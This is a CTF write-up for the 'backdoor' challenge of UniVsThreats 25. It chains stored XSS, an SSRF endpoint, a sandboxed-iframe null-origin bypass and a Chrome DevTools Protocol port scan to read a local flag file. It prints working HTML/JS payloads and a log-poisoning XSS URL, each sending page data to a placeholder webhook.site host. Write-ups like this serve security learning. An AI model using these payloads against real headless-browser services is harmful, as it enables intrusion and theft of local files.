backdoor - UniVsThreats 25 CTF

r4yan profile picture

r4yan • published on 2025-05-177 min read

I didn't manage to solve the challenge during the CTF, but i solved it afterwards, i found this challenge particularly interesting, and since there are no writeups around, I wanted to publish one

The challenge presents a classic client-side scenario where users can write notes, and a headless admin bot visits our note. The flag is stored in the filesystem at a known path. Obtaining XSS on a note in this context is actually quite straightforward

The post page template displays the location field as <%- post.location %>, where EJS will render the string unescaped, allowing us to gain XSS

Alright, but now, how do we go from XSS to reading local files?

There are a couple of factors that will help us achieve this. First, let's examine the route that runs the challenge's headless browser

const browser = await puppeteer.launch({
    headless: true,
    executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium-browser',
    args: [
        '--no-sandbox',
        '--disable-setuid-sandbox',
        '--disable-dev-shm-usage',
        '--disable-gpu'
    ],
    protocolTimeout: 60000
});

We can notice a couple of things that are off, --no-sandbox option won't run chromium in a restricted environment, potentially letting us open anything inside the filesystem

It might come to mind to directly try fetching the flag using fetch("file:///path/flag.txt"), but this won't work, why? it's because of the Same-Origin Policy (SOP), SOP checks whether two URLs share the same origin, meaning they have the same protocol, port, and host. if they don't, the browser will block the request immediately.

For example if we want to access file:///path/flag.txt from http://localhost:8080, this will cause a SOP violation, just from the fact that the two protocols are different

how can we bypass this?

there's a suspicious route internally, inside the challenge container, that lets us exploit an SSRF vulnerability

// TODO: remove next sprint
intraApp.get('/admin/doHttpReq', (req, res) => {
    try {
        disableCors(res);


        if ((`${req.headers.origin}` != 'null'
            && `${req.headers.origin}` != 'undefined')
            || req.headers['sec-fetch-mode'] === 'no-cors'
            || req.headers['sec-fetch-site'] === 'same-site'
            || req.headers['sec-fetch-site'] === 'same-origin'
        )
            throw new Error('(ノಠ ∩ಠ)ノ彡( \\o°o)\\ Request is not secure- cannot call this endpoint from the browser');

        let url = req.query.url ?? '';
        let method = req.query.method ?? 'GET';

        if (method !== 'GET' && req.headers['sec-fetch-mode'] === 'navigate') {
            throw new Error('(゜-゜) What?')
        }

        if (!allowedMethods.includes(method))
            throw new Error('(」゜ロ゜)」Method not allowed');

        if (url.length > 128)
            throw new Error('(」゜ロ゜)」URL is too long');

        fetch(url, {
            method: method
        }).then(async (rsp) => {
            let data = await rsp.text()
            res.send(data)
        }).catch(e => {
            console.error(e);
            res.sendStatus(500);
        });
    } catch (e) {
        console.error(e);
        res.sendStatus(500);
    }
});

well now you may say, great now that we can make the nodejs app send any request we want and since we don't have any restriction unlike when on a browser, why not sending a request to fetch local files?

img1.png

we still can't, but this time not because of some policy, but on how that fetch function is implemented, nodejs fetch api is powered by the Undici library, and digging a bit on their source code we can find that the library does not support the file protocol, as seen here https://github.com/nodejs/undici/blob/main/lib/web/fetch/index.js#L944-L948

Now we have XSS and SSRF on the nodejs app, but how can we leverage these two to bypass all the restrictions mentioned above?

In this case the CDP(Chrome DevTools Protocol) comes handy, usually when using libraries like puppeteer we are just interacting with the DevTools Protocol, an API that lets us communicate with chromium, to benefit from this thanks to our SSRF we can interact with the DevTools Protocol, open a new tab that points to the flag file and somehow grab the contents of that page to find our flag

Since in our case the devtools port is not specified it's then randomly assigned by the OS on a ephemeral port (on linux the range is 32768–60999), we can find this random port thanks to our XSS+SSRF, we just have to send a request to the CDP and wait for a 200 response

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
</head>
<body>
      <script>
        let startPort = 32768;
        let endPort = 60999;
        let webhook = 'https://webhook.site/yourwebhookid';
        let userId = ''

        function report(data, port) {
          fetch(`${webhook}?${port}`, {
            method: 'POST',
            body: data
          });
        }

        (async () => {
          for (let port = startPort; port <= endPort; port++) {
            // checking the connection to the CDP
            let ssrfUrl = `http://127.0.0.1:80/admin/doHttpReq?method=PUT&url=http://localhost:${port}/`;
            try {
              let res = await fetch(ssrfUrl);
              let text = await res.text();
              if (!text.includes('Internal Server Error')) {
                // no errors? send that port!
                report(flag, port);
              }
            } catch (e) {
              console.error('Fetch error:', e);
            }
          }
        })();
      </script>
</body>
</html>

Great, now we can find where is the CDP?

no, we are still missing one thing :

disableCors(res);

if ((`${req.headers.origin}` != 'null'
    && `${req.headers.origin}` != 'undefined')
    || req.headers['sec-fetch-mode'] === 'no-cors'
    || req.headers['sec-fetch-site'] === 'same-site'
    || req.headers['sec-fetch-site'] === 'same-origin'
)
    throw new Error('(ノಠ ∩ಠ)ノ彡( \\o°o)\\ Request is not secure- cannot call this endpoint from the browser');

let url = req.query.url ?? '';
let method = req.query.method ?? 'GET';

if (method !== 'GET' && req.headers['sec-fetch-mode'] === 'navigate') {
    throw new Error('(゜-゜) What?')
}

Our request must have a null origin, the sec-fetch-mode header must not be set to 'no-cors', and the sec-fetch-site header must not indicate 'same-site' or 'same-origin'.

Reading the Mozilla documentation we can see all the cases where the Origin may be null https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Origin#description

One particular case is the sandboxed iframe, we can create a sandboxed iframe with the allow-scripts option enabled and send requests from inside, all the requests will have a null origin

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
</head>
<body>
  <iframe id="script-frame" width="600" height="400" sandbox="allow-scripts" srcdoc="
    <!DOCTYPE html>
    <html lang='en'>
    <body>
      <script>
        let startPort = 32768;
        let endPort = 60999;
        let webhook = 'https://webhook.site/yourwebhookid';
        let userId = ''

        function report(data, port) {
          fetch(`${webhook}?${port}`, {
            method: 'POST',
            body: data
          });
        }

        (async () => {
          for (let port = startPort; port <= endPort; port++) {
            // checking the connection to the CDP
            let ssrfUrl = `http://127.0.0.1:80/admin/doHttpReq?method=PUT&url=http://localhost:${port}/`;
            try {
              let res = await fetch(ssrfUrl);
              let text = await res.text();
              if (!text.includes('Internal Server Error')) {
                // no errors? send that port!
                report(text, port);
              }
            } catch (e) {
              console.error('Fetch error:', e);
            }
          }
        })();
      </script>
    </body>
    </html>">
  </iframe>
</body>
</html>

img2.png

and here we got the port number!

There's one issue tho, even if we manage to open a tab with the flag we still won't be able to grab it's contents, the only way would be to connect to the CDP websocket and grab the contents of the flag page, but in this case we can't do that, we are just limited to send requests from that fetch,

if we inspect what's actually inside the flag page,

function logger(userId, data) {
    // TODO: format nicely
    logUserData[userId] += data + '<br>' + 'Flag: ' + FLAG + '<br>';

    try { fs.mkdirSync('./logs'); } catch (e) { };
    fs.writeFileSync(`./logs/log-${userId}.htm`, logUserData[userId]);
}

The Node.js app does not only store the flag inside the flag file; it can also store arbitrary strings. This means we could potentially trigger an XSS on the flag page, allowing us to automatically capture the page contents and send them to our webhook.

By just sending a request like this (while having the cookie set to our userid)

http://CHALLENGE_URL/<script>fetch('https://webhook.site/mywebhookid?'+document.body.innerHTML)</script>

(the payload needs then to be urlencoded), this will poison the flag file with our XSS

Now if we are able to open the flag file using the CDP, the just inserted XSS will trigger sending us the contents of the flag file

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
</head>
<body>
  <iframe id="script-frame" width="600" height="400" sandbox="allow-scripts" srcdoc="
    <!DOCTYPE html>
    <html lang='en'>
    <head>
      <meta charset='UTF-8'>
    </head>
    <body>
      <script>
        let startPort = 32768;
        let endPort = 60999;
        let webhook = 'https://webhook.site/yourwebhookid';
        let userId = ''

        function report(data, port) {
          fetch(`${webhook}?${port}`, {
            method: 'POST',
            body: data
          });
        }

        (async () => {
          for (let port = startPort; port <= endPort; port++) {
            // opening the flag file using the CDP
            let ssrfUrl = `http://127.0.0.1:80/admin/doHttpReq?method=PUT&url=http://localhost:${port}/json/new?file:///app/logs/log-${userId}.htm`;
            try {
              let res = await fetch(ssrfUrl);
              let text = await res.text();
              if (!text.includes('Internal Server Error')) {
                // no errors? send that port!
                report(flag, port);
              }
            } catch (e) {
              console.error('Fetch error:', e);
            }
          }
        })();
      </script>
    </body>
    </html>">
  </iframe>
</body>
</html>

img3.png

That's the response of our CDP, giving us some information about the just opened tab

img4.png

And here's our flag